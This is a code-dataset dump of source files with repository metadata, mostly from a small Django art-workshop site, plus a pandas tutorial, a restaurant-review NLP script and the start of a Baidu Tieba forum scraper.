'0002_auto_20160921_1520'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='artistprofile',\n name='art_form',\n ),\n migrations.AddField(\n model_name='artistprofile',\n name='art_form',\n field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='art.ArtForm'),\n ),\n migrations.RemoveField(\n model_name='artistprofile',\n name='art_type',\n ),\n migrations.AddField(\n model_name='artistprofile',\n name='art_type',\n field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='art.ArtType', verbose_name='Art Type'),\n ),\n ]\n" }, { "alpha_fraction": 0.5077160596847534, "alphanum_fraction": 0.5632715821266174, "avg_line_length": 23.923076629638672, "blob_id": "a002f025ba7865a87944641d0b0bda8276a553d7", "content_id": "f11c4aa84706f3401c5d86966000038ec452db8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 648, "license_type": "no_license", "max_line_length": 59, "num_lines": 26, "path": "/artist/migrations/0002_auto_20160921_1520.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.5 on 2016-09-21 09:50\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('art', '0002_auto_20160921_0021'),\n ('artist', '0001_initial'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='artistprofile',\n old_name='art_forms',\n new_name='art_form',\n ),\n migrations.AddField(\n model_name='artistprofile',\n name='art_type',\n field=models.ManyToManyField(to='art.ArtType'),\n ),\n ]\n" }, { "alpha_fraction": 0.8044692873954773, "alphanum_fraction": 0.8044692873954773, "avg_line_length": 18.88888931274414, "blob_id": "7e2626a840c55f5e69cafb626c734c2d61f67667", "content_id": "ebf2820cca7f674a725de3113a585eb03fc69865", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 179, "license_type": "no_license", "max_line_length": 32, "num_lines": 9, "path": "/art/admin.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import ArtForm\nfrom .models import ArtType\n\n\nadmin.site.register(ArtForm)\nadmin.site.register(ArtType)\n\n# Register your models here.\n" }, { "alpha_fraction": 0.544708788394928, "alphanum_fraction": 0.5709598064422607, "avg_line_length": 29.475000381469727, "blob_id": "ce2c6a449c409f3b39afa8c2947b130bc871e51e", "content_id": "def763db230810219ebc10876259124f0ebb5cc6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1219, "license_type": "no_license", "max_line_length": 89, "num_lines": 40, "path": "/artist/migrations/0004_auto_20161014_1656.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.5 on 2016-10-14 11:26\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('artist', '0003_auto_20160921_1546'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='artistprofile',\n name='enable',\n field=models.BooleanField(default=True),\n ),\n migrations.AddField(\n model_name='artistprofile',\n name='fb_link',\n field=models.URLField(blank=True, null=True, verbose_name='FB Account Link'),\n ),\n migrations.AddField(\n model_name='artistprofile',\n name='insta_link',\n field=models.URLField(blank=True, null=True, verbose_name='Instagram Link'),\n ),\n migrations.AddField(\n model_name='artistprofile',\n name='twitter_link',\n field=models.URLField(blank=True, null=True, verbose_name='Twitter Link'),\n ),\n migrations.AlterField(\n model_name='artistprofile',\n name='dob',\n field=models.DateField(blank=True, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.8085106611251831, "alphanum_fraction": 0.8085106611251831, "avg_line_length": 20.363636016845703, "blob_id": "84f6cb3db2125f39fcd863bf6f9e37db1538fc9a", "content_id": "e3eeee684214bad5cf603d39923581290ff48a28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 235, "license_type": "no_license", "max_line_length": 47, "num_lines": 11, "path": "/artist/admin.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import\tArtistProfile\nfrom .forms import ArtistForm\n\n# Register your models here.\n\nclass ArtistAdmin(admin.ModelAdmin):\n\t\n\tform = ArtistForm\n\nadmin.site.register(ArtistProfile, ArtistAdmin)\n" }, { "alpha_fraction": 0.7021062970161438, "alphanum_fraction": 0.7021062970161438, "avg_line_length": 31.09677505493164, "blob_id": "71c9d748b2aac0cabc4f4c0d3b5815841128d334", "content_id": "535c789c3c11d44a1b542c7875796ed5997b2d1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 997, "license_type": "no_license", "max_line_length": 81, "num_lines": 31, "path": "/artivities/forms.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "# from django import forms\n# from .models import Workshop\n# from django.forms.widgets import SelectDateWidget\n# from django.utils import timezone\n# import datetime\n\n\n# class workshopform(forms.ModelForm):\n\n# \tstart_date = forms.DateField(widget=SelectDateWidget(),initial=timezone.now())\n# \tstart_time = forms.TimeField(widget=forms.TimeInput(format='%I:%M %p'))\n# \tend_date = forms.DateField(widget=SelectDateWidget(), initial=timezone.now())\n# \tend_time = forms.TimeField(widget=forms.TimeInput(format='%I:%M %p'))\n\n# \tdef clean_start_date(self):\n# \t\tstart_date = self.cleaned_data['start_date']\n# \t\tif start_date < datetime.date.today():\n# \t\t\traise forms.ValidationError(\"The date cannot be in the past!\")\n# \t\treturn start_date\n\n# \tdef clean_end_date(self):\n# \t\tend_date = self.cleaned_data['end_date']\n# \t\tif end_date < datetime.date.today():\n# \t\t\traise forms.ValidationError(\"The date cannot be in the past!\")\n# \t\treturn end_date\n\n\n# \tclass Meta:\n# \t\tmodel = workshop\n\t\t\n# \t\texclude = ['']\n\n\n" }, { "alpha_fraction": 0.7492333650588989, "alphanum_fraction": 0.7577512860298157, "avg_line_length": 44.875, "blob_id": "7b920c5e7c88bdac160a893391779c290c62ea9c", "content_id": "a4368f88f260929da03b47743c9607128de915f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2935, "license_type": "no_license", "max_line_length": 118, "num_lines": 64, "path": "/artivities/models.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom geoposition.fields import GeopositionField\n\nfrom django.db import models\nfrom art.models import ArtForm, ArtType\nfrom artist.models import ArtistProfile\n\n# Create your models here.\nclass Venue(models.Model):\n\tvenue_name = models.CharField(max_length=100, blank=False, null=True, verbose_name=\"Venue Name\")\n\twebsite = models.URLField(blank=True, null=True)\n\taddress = GeopositionField()\n\n\tdef __unicode__(self):\n\t\treturn self.venue_name\n\n\nclass Workshop(models.Model):\n\ttitle = models.CharField(max_length=250, blank=False, null=True)\n\tart_form = models.ForeignKey(ArtForm, null=True, on_delete=models.CASCADE)\n\tart_type = models.ForeignKey(ArtType, null=True, on_delete=models.CASCADE, verbose_name=\"Art Type\")\n\tdescription = models.TextField(max_length=1000, blank=False, null=True)\n\tartist = models.ForeignKey(ArtistProfile, null=True, on_delete=models.CASCADE)\n\tcover_photo = models.ImageField (upload_to=\"cards/\", blank=False, null=True)\n\tvenue = models.ForeignKey(Venue, blank=True, null=True, on_delete=models.CASCADE)\n\tstartdate = models.DateTimeField(null=True, verbose_name=\"Start Date/Time\")\n\tenddate = models.DateTimeField(null=True, verbose_name=\"End Date/Time\")\n\ttotal_seats = models.IntegerField(blank=False, null=True)\n\tfb_event_link = models.URLField(blank=True, null=True, verbose_name=\"FB Event Link\")\n\tenable = models.BooleanField(default=False)\n\n\tdef __unicode__(self):\n\t\treturn self.title\n\n\nclass Registration(models.Model):\t\n\n\tworkshop = models.ForeignKey(Workshop, null=True, on_delete=models.CASCADE)\n\tregtype = models.CharField(max_length=100, blank=False, null=True, verbose_name=\"Registration Type\")\n\tdescription = models.TextField(max_length=100, blank=True, null=True)\n\tquantity = models.IntegerField(blank=False, null=True)\n\tprice = models.DecimalField(max_digits=6, decimal_places=2, null=True)\n\tstartdate = models.DateTimeField(null=True, verbose_name=\"Sale Start Date/Time\")\n\tenddate = models.DateTimeField(null=True, verbose_name=\"Sale End Date/Time\")\n\taddcharges = models.DecimalField(max_digits=6, decimal_places=2, blank=True, null=True)\n\tdef __unicode__(self):\n\t\treturn self.regtype\n\nclass Discount(models.Model):\n\n\tDISCOUNT_TYPE = (\n ('F', 'Flat'),\n ('P', 'Percentage'),\n )\n\n\tregtype = models.ForeignKey(Registration, null=True, on_delete=models.CASCADE, verbose_name=\"Registration Type\")\n\tdisctype = models.CharField(max_length=1, choices=DISCOUNT_TYPE, blank=True, null=True, verbose_name=\"Discount Type\")\n\tdiscname = models.CharField(max_length=50, blank=True, null=True, verbose_name=\"Discount Name\")\n\tDiscount = models.DecimalField(max_digits=6, decimal_places=2, blank=True, null=True)\n\tstartdate = models.DateTimeField(null=True, verbose_name=\"Start Date/Time\")\n\tenddate = models.DateTimeField(null=True, verbose_name=\"End Date/Time\")\n\tenable = models.BooleanField(default=False)\n\tdef __unicode__ (self):\n\t\treturn self.discname" }, { "alpha_fraction": 0.6704980731010437, "alphanum_fraction": 0.6781609058380127, "avg_line_length": 36.42856979370117, "blob_id": "48e42f6c79a302af57fffc11716ae9ef9f2180f6", "content_id": "dcd4e88bd7003be37eceea7372e7a03d12b5fef4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "no_license", "max_line_length": 111, "num_lines": 7, "path": "/artivities/urls.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.WorkshopListView.as_view(), name=\"artivities_home\"),\n url(r'^workshop_id/(?P<workshop_id>[0-9]+)$', views.WorkshopDetailView.as_view(), name=\"workshop_details\"),\n ]" }, { "alpha_fraction": 0.6024390459060669, "alphanum_fraction": 0.6365853548049927, "avg_line_length": 20.63157844543457, "blob_id": "7ffda219ab91241809cc47ade5b7414b0612b953", "content_id": "875b54e88405373e8b933fc8958fa0a055035b86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 410, "license_type": "no_license", "max_line_length": 64, "num_lines": 19, "path": "/templates/item_details.html", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "{% extends \"base.html\" %}\n\n{% block head_title %}{{item_details.item_name}} | {%endblock %}\n\n{% block content %}\n\n\n<div class=\"container\" style=\"margin-top:70px\">\n\n<h2>{{item_details.item_name}}</h2>\n<h2>{{item_details.artform}}</h2>\n<h2>{{item_details.arttype}}</h2>\n<h2>{{item_details.is_artist}}</h2>\n<h2>{{item_details.description}}</h2>\n<h2>{{item_details.item_price}}</h2>\n\n</div>\n\n{% endblock content %}" }, { "alpha_fraction": 0.7146226167678833, "alphanum_fraction": 0.7146226167678833, "avg_line_length": 39.42856979370117, "blob_id": "f1fe89fe8481b9230911717e5ae6062bbfb3bd50", "content_id": "e418147d6efb7475e137b3b7a897491945d7678e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 848, "license_type": "no_license", "max_line_length": 79, "num_lines": 21, "path": "/ptah/urls.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.conf import settings \nfrom django.conf.urls import include, url\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.views.generic import TemplateView\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^nested_admin/', include('nested_admin.urls')),\n url(r'^artivists/', include('artivists.urls')),\n # url(r'^signup',TemplateView.as_view(template_name=\"signup.html\")),\n url(r'^artivities/', include('artivities.urls')),\n url(r'^artists/', include('artist.urls')),\n url(r'^artshop/', include('artshop.urls')),\n url(r'^home',TemplateView.as_view(template_name=\"home.html\"), name='home'),\n \n]\n\nif settings.DEBUG:\n\turlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n\turlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7233656048774719, "avg_line_length": 37.44186019897461, "blob_id": "9181dc4d936549fb4438feb5584635d49d9d867c", "content_id": "13f6aeec4d60d61378502dcda8e2a6525b234ccf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1652, "license_type": "no_license", "max_line_length": 124, "num_lines": 43, "path": "/artist/models.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\n\nfrom django.db import models\nfrom art.models import ArtForm, ArtType\n\n# Create your models here.\n\nclass ArtistProfile(models.Model):\n\n\tGENDER_CHOICES = (\n ('M', 'Male'),\n ('F', 'Female'),\n )\n\n\tname = models.CharField(max_length=100, blank=False, null=True)\n\tartist_type = models.CharField(max_length=100, blank=False, null=True)\n\tgender = models.CharField(max_length=1, choices=GENDER_CHOICES, null=True)\n\tmobile_no = models.CharField(max_length=10, blank=True, null=True, help_text='Please enter mobile number without +91 or 0')\n\tart_form = models.ForeignKey(ArtForm, null=True, on_delete=models.CASCADE)\n\tart_type = models.ForeignKey(ArtType, null=True, on_delete=models.CASCADE, verbose_name=\"Art Type\")\n\tabout_yourself = models.TextField(max_length=500, blank=True, null=True)\n\tavatar = models.ImageField (upload_to=\"artists_avatar/\", blank=True, null=True)\n\tcover_image = models.ImageField (upload_to=\"artists_cover_image/\", blank=True, null=True)\n\tdob = models.DateField(null=True, blank=True)\n\tfb_link = models.URLField(blank=True, null=True, verbose_name=\"FB Account Link\")\n\tinsta_link = models.URLField(blank=True, null=True, verbose_name=\"Instagram Link\")\n\ttwitter_link = models.URLField(blank=True, null=True, verbose_name=\"Twitter Link\")\n\tenable = models.BooleanField(default=False)\n\n\t@property\n\tdef avatar_url(self):\n\t if self.avatar and hasattr(self.avatar, 'url'):\n\t return self.avatar.url\n\n\t@property\n\tdef cover_url(self):\n\t if self.cover_image and hasattr(self.cover_image, 'url'):\n\t return self.cover_image.url\n\n\n\n\tdef __unicode__(self):\n\t\treturn self.name" }, { "alpha_fraction": 0.5851329565048218, "alphanum_fraction": 0.5964992046356201, "avg_line_length": 53.30864334106445, "blob_id": "a18cc10ece021c53dc2f1ae46183c408f2db31f4", "content_id": "2398c163d93059ee8958cd0dd4a87149767edead", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4399, "license_type": "no_license", "max_line_length": 160, "num_lines": 81, "path": "/artivities/migrations/0001_initial.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.5 on 2016-09-20 17:14\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport geoposition.fields\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('art', '0001_initial'),\n ('artist', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Discount',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('disctype', models.CharField(blank=True, choices=[('F', 'Flat'), ('P', 'Percentage')], max_length=1, null=True, verbose_name='Discount Type')),\n ('discname', models.CharField(blank=True, max_length=50, null=True, verbose_name='Discount Name')),\n ('Discount', models.DecimalField(blank=True, decimal_places=2, max_digits=6, null=True)),\n ('startdate', models.DateTimeField(null=True, verbose_name='Start Date/Time')),\n ('enddate', models.DateTimeField(null=True, verbose_name='End Date/Time')),\n ('enable', models.BooleanField(default=False)),\n ],\n ),\n migrations.CreateModel(\n name='Registration',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('regtype', models.CharField(max_length=100, null=True, verbose_name='Registration Type')),\n ('description', models.TextField(max_length=100, null=True)),\n ('quantity', models.IntegerField(null=True)),\n ('price', models.DecimalField(decimal_places=2, max_digits=6, null=True)),\n ('startdate', models.DateTimeField(null=True, verbose_name='Sale Start Date/Time')),\n ('enddate', models.DateTimeField(null=True, verbose_name='Sale End Date/Time')),\n ('addcharges', models.DecimalField(blank=True, decimal_places=2, max_digits=6, null=True)),\n ],\n ),\n migrations.CreateModel(\n name='Venue',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('venue_name', models.CharField(max_length=100, null=True, verbose_name='Venue Name')),\n ('website', models.URLField(blank=True, null=True)),\n ('address', geoposition.fields.GeopositionField(max_length=42)),\n ],\n ),\n migrations.CreateModel(\n name='Workshop',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=250, null=True)),\n ('description', models.TextField(max_length=250, null=True)),\n ('cover_photo', models.ImageField(null=True, upload_to='cards/')),\n ('startdate', models.DateTimeField(null=True, verbose_name='Start Date/Time')),\n ('enddate', models.DateTimeField(null=True, verbose_name='End Date/Time')),\n ('total_seats', models.IntegerField(null=True)),\n ('enable', models.BooleanField(default=False)),\n ('art_form', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='art.ArtForm')),\n ('art_type', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='art.ArtType', verbose_name='Art Type')),\n ('artist', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='artist.ArtistProfile')),\n ('venue', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='artivities.Venue')),\n ],\n ),\n migrations.AddField(\n model_name='registration',\n name='workshop',\n field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='artivities.Workshop'),\n ),\n migrations.AddField(\n model_name='discount',\n name='regtype',\n field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='artivities.Registration', verbose_name='Registration Type'),\n ),\n ]\n" }, { "alpha_fraction": 0.5337690711021423, "alphanum_fraction": 0.6034858226776123, "avg_line_length": 21.950000762939453, "blob_id": "96ef71954bec9b42dae5503961b9573d07c7a6c5", "content_id": "955d906fd5c7395fda0b6c478d50ffec5b895be3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 459, "license_type": "no_license", "max_line_length": 53, "num_lines": 20, "path": "/artist/migrations/0005_auto_20161014_1657.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.5 on 2016-10-14 11:27\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('artist', '0004_auto_20161014_1656'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='artistprofile',\n name='enable',\n field=models.BooleanField(default=False),\n ),\n ]\n" }, { "alpha_fraction": 0.7203513979911804, "alphanum_fraction": 0.7203513979911804, "avg_line_length": 30.5230770111084, "blob_id": "8e17f303f33417535587e402600100eb6eca80e0", "content_id": "22f216ee8a3aaa625d90793d525a64f482b91ec6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2049, "license_type": "no_license", "max_line_length": 145, "num_lines": 65, "path": "/artivists/views.py", "repo_name": "rachitptah/ptah", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login, get_user_model, logout\nfrom django.views import generic\nfrom django.views.generic import TemplateView\nfrom .forms import UserForm\n\n\nclass UserFormView (TemplateView):\n\ttemplate_name = \"signup.html\"\n\t#display signup blank form\n\tdef get(self, request,*args,**kwargs):\n\t\tcontext = super(UserFormView,self).get_context_data(**kwargs)\n\t\treturn self.render_to_response(context)\n\n\n\t#process form data\n\tdef post(self, request,*args,**kwargs):\n\t\tdata = request.POST\n\t\tuser = get_user_model().objects.create(username=data[\"username\"],first_name=data[\"first_name\"],email=data[\"email\"],last_name=data[\"last_name\"])\n\t\tuser.set_password(data[\"password\"])\n\t\tuser.save()\n\t\tuser.backend = \"django.contrib.auth.backends.ModelBackend\"\n\t\t# form = self.form_class(request.POST)\n\n\t\t# if form.is_valid():\n\n\t\t# \tuser = form.save(commit=False)\n\n\t\t# \t#cleaned (normalized) data\n\t\t# \tusername = form.cleaned_data['username']\n\t\t# \tpassword = form.cleaned_data['password']\n\t\t# \tuser.set_password(password)\n\t\t# \tuser.save()\n\n\t\t# \t# Returns User objects if credentials are correct\n\n\t\t# \tuser = authenticate(username=username, password=password)\n\n\t\tif user is not None:\n\t\t\tlogin(request, user)\n\t\t\treturn redirect(\"home\")\n\n\t\treturn render(request, self.template_name, {'form': form})\n\nclass UserLoginView (TemplateView):\n\ttemplate_name = \"login.html\"\n\t#display signup blank form\n\tdef get(self, request,*args,**kwargs):\n\t\tcontext = super(UserLoginView,self).get_context_data(**kwargs)\n\t\treturn self.render_to_response(context)\n\n\t#process form data\n\tdef post(self, request,*args,**kwargs):\n\t\tdata = request.POST\n\t\t# user = get_user_model()\n\t\tuser = authenticate(username=data[\"username\"], password=data[\"password\"])\n\t\tuser.backend = \"django.contrib.auth.backends.ModelBackend\"\n\t\tif user is not None:\n\t\t\tlogin(request, user)\n\t\t\treturn redirect(\"home\")\n\nclass UserLogoutView (TemplateView):\n\tdef get(self, request, *args, **kwargs):\n\t\tlogout(request)\n\t\treturn redirect(\"home\")\n" } ]
32
karanaryan07/Restaurant-review-using-NLP
https://github.com/karanaryan07/Restaurant-review-using-NLP
28a9ddc01ac983e265be08eec5c3692093335e52
f3656da2b96894ffd496ee49400b7419d49fe65c
bfaa38048d351a739ac1e3e1c1a2860e041a19ed
refs/heads/master
2020-09-03T01:07:25.861155
2019-11-03T18:44:31
2019-11-03T18:44:31
219,347,401
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6622516512870789, "alphanum_fraction": 0.6821191906929016, "avg_line_length": 22.29032325744629, "blob_id": "68aca0edc638300d0121147c41e8516f0f6db2d7", "content_id": "0a52ce6b25b67c50107f632ae57dbab665fe9df7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 755, "license_type": "no_license", "max_line_length": 81, "num_lines": 31, "path": "/NLP.py", "repo_name": "karanaryan07/Restaurant-review-using-NLP", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Nov 2 14:47:21 2019\r\n\r\n@author: Lenovo\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n'to ignore the quoting in file! quoting paramter = 3' \r\n\r\ndataset = pd.read_csv('Restaurant_Reviews.tsv' , delimiter = '\\t' , quoting = 3)\r\n\r\nimport re\r\nimport nltk\r\nimport nltk.stem.porter import PorterStemmer\r\n \r\nnltk.download('stopwords')\r\nfrom nltk.corpus import stopwords\r\nreview = re.sub('[^a-zA-Z]' , ' ' , dataset['Review'][0])\r\nreview = review.lower()\r\n\r\nreview = review.split()\r\nreview = [word for word in review if not word in set(stopwords.words('english'))]\r\n#using set to increasing the rate of algorithm\r\n\r\n\r\n#learn about aspect mining\r\n#chatbot #speech recogniztion\r\n\r\n" }, { "alpha_fraction": 0.8333333134651184, "alphanum_fraction": 0.8333333134651184, "avg_line_length": 32, "blob_id": "041079c8836aa239e2d0fa286320f2dbecc6802b", "content_id": "dcd67080055c6d3f4329a3c3b83347ef60f59ab0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 66, "license_type": "no_license", "max_line_length": 35, "num_lines": 2, "path": "/README.md", "repo_name": "karanaryan07/Restaurant-review-using-NLP", "src_encoding": "UTF-8", "text": "# Restaurant-review-using-NLP\nJudging Restaurant review using NLP\n" } ]
2
mpisters/Pandas-Tutorial
https://github.com/mpisters/Pandas-Tutorial
8b4eb173f7400121c7c14f57dd7a0234c5fc99e1
b97b47ad1c025e7812585b89beee4c346924fac8
d6dc512cedb9cdd170a6b6342a946d98ef9cd71e
refs/heads/main
2023-01-19T11:40:05.121148
2020-11-29T22:23:29
2020-11-29T22:23:29
317,050,785
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8075471520423889, "alphanum_fraction": 0.8113207817077637, "avg_line_length": 47.181819915771484, "blob_id": "8eb0395658474fe2e65b16053a22b904afdc9139", "content_id": "389d4ff0dffc7417b69ecdbe8e4e97eb857c9c7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 530, "license_type": "no_license", "max_line_length": 111, "num_lines": 11, "path": "/README.md", "repo_name": "mpisters/Pandas-Tutorial", "src_encoding": "UTF-8", "text": "# Pandas-Tutorial\n\n## Benodigheden\n* Anaconda moet geinstalleerd zijn: [Anaconda installation guide](https://www.anaconda.com/products/individual)\n* Jypyter notebook kan handig zijn: [Jupyter Notebook installation guide](https://jupyter.org/install)\n* Zorg ervoor dat er een conda/python interpreter is ingesteld\n\nIn pandas_simpele_functies.py zijn verschillende pandas functies te vinden.\n\nEen goede beginners tutorial is:\nhttps://pandas.pydata.org/pandas-docs/stable/getting_started/intro_tutorials/06_calculate_statistics.html\n" }, { "alpha_fraction": 0.7264808416366577, "alphanum_fraction": 0.7456446290016174, "avg_line_length": 30.027027130126953, "blob_id": "d4a583b8b9df91b063856d581c47a9072cd58515", "content_id": "53e597d33efd53d016b4f6870673935a2b29f0db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1148, "license_type": "no_license", "max_line_length": 92, "num_lines": 37, "path": "/pandas_simpele_functies.py", "repo_name": "mpisters/Pandas-Tutorial", "src_encoding": "UTF-8", "text": "# importeer pandas\nimport pandas as pd\n\n# inlezen van data uit csv, csv moet in dezelfde folder zitten als het python/jupyter script\ndata = pd.read_csv('songs.csv')\n\n# alle kolom namen\nkolom_namen = list(data.columns)\nprint(kolom_namen)\n\n# maximum waarde uit kolom\ntimbre_6_max = data['timbre_6_max']\nhoogste_waarde_in_kolom_timbre_6_max = timbre_6_max.max()\nprint(\"max\", hoogste_waarde_in_kolom_timbre_6_max)\n\n# toon meerdere max waarden van verschillende kolommen\nmeerdere_kolommen = data[['timbre_6_max', 'timbre_5_max']]\nmeerdere_kolommen = meerdere_kolommen.max()\nprint(meerdere_kolommen)\nprint(\"\\n\")\n\n# minumum waarde uit kolom\ntimbre_6_max = data['timbre_6_max']\nlaagste_waarde_in_kolom_timbre_6_max = timbre_6_max.min()\nprint(\"min\", laagste_waarde_in_kolom_timbre_6_max)\n\n\n# gemiddelde waarde uit kolom\ntimbre_6_max = data['timbre_6_max']\ngemiddelde_in_kolom_timbre_6_max = timbre_6_max.mean()\nprint(\"avg\", gemiddelde_in_kolom_timbre_6_max)\n\n# verschillende statistieken over de kolom\ntimbre_6_max = data['timbre_6_max']\ngemiddelde_in_kolom_timbre_6_max = timbre_6_max.describe()\nprint(\"statistiek\")\nprint(gemiddelde_in_kolom_timbre_6_max)\n" } ]
2
Fongim/tieba_spider
https://github.com/Fongim/tieba_spider
62a27cccedcc65d95f8b7f1722f891aa53f07375
ec80bc1e5c879cd5e8a78292e686a08244b64d8e
144445b69e6566c7450aeb3d7827286e7e4bd0f3
refs/heads/master
2019-08-28T23:33:35.594317
2017-08-22T09:41:55
2017-08-22T09:41:55
97,432,945
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.46948543190956116, "alphanum_fraction": 0.5678955912590027, "avg_line_length": 52.99692153930664, "blob_id": "c650e7cdf3c35ed7be24190bb31521578625c7f4", "content_id": "8b5e52a946f3d537fb427f239c9b9c1755fce8e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17693, "license_type": "no_license", "max_line_length": 252, "num_lines": 325, "path": "/tieba_spider_1707.py", "repo_name": "Fongim/tieba_spider", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# coding=utf-8\n\nimport re\nimport os\nimport time\nimport codecs\nimport multiprocessing\nimport urllib.request\nimport random\nfrom retrying import retry\nfrom bs4 import BeautifulSoup\n\nm_lock = multiprocessing.Lock()\n\n\ndef get_title(html):\n soup = BeautifulSoup(html, 'lxml')\n try:\n raw_title = soup.find('h1')\n if not raw_title:\n raw_title = soup.find('h2')\n if not raw_title:\n raw_title = soup.find('h3')\n if not raw_title:\n raw_title = soup.find('h4')\n if not raw_title:\n raw_title = soup.find('h5')\n if not raw_title:\n raw_title = re.findall('很抱歉,该贴已被删除。', html)\n if raw_title:\n raw_title = raw_title[0]\n if not raw_title:\n return ''\n title = remove_html_tag(str(raw_title))\n return title\n except Exception as e:\n print('No Title: ', e)\n return ''\n\n\ndef get_posts_num(html):\n soup = BeautifulSoup(html, 'lxml')\n try:\n raw_posts_num = soup.find('ul', {'class': \"l_posts_num\"})\n match = re.findall('pn=[0-9]+', str(raw_posts_num))\n if match:\n last_num_url = match.pop()\n last_num = re.findall('[0-9]+', str(last_num_url))\n # print(last_num[0])\n return int(last_num[0])\n else:\n return 1\n except Exception as e:\n print('Posts num: ', e)\n return 1\n\n\ndef get_floor(content):\n c_content = '<html><body>' + str(content) + '</html></body>'\n soup = BeautifulSoup(c_content, 'lxml')\n try:\n raw_floor = soup.findAll('span', {'class': 'tail-info'})\n f_floor = re.findall('[0-9]+楼', str(raw_floor))\n if f_floor:\n floor = remove_html_tag(str(f_floor[0]))\n # print(floor)\n return str(floor)\n else:\n return ''\n except Exception as e:\n print('Floor: ', e)\n return ''\n\n\ndef get_content(text):\n c_text = '<html><body>' + str(text) + '</html></body>'\n soup = BeautifulSoup(c_text, 'lxml')\n try:\n raw_content = soup.find('div', {'class': 'd_post_content'})\n f_content = remove_html_tag(str(raw_content))\n ff_content = 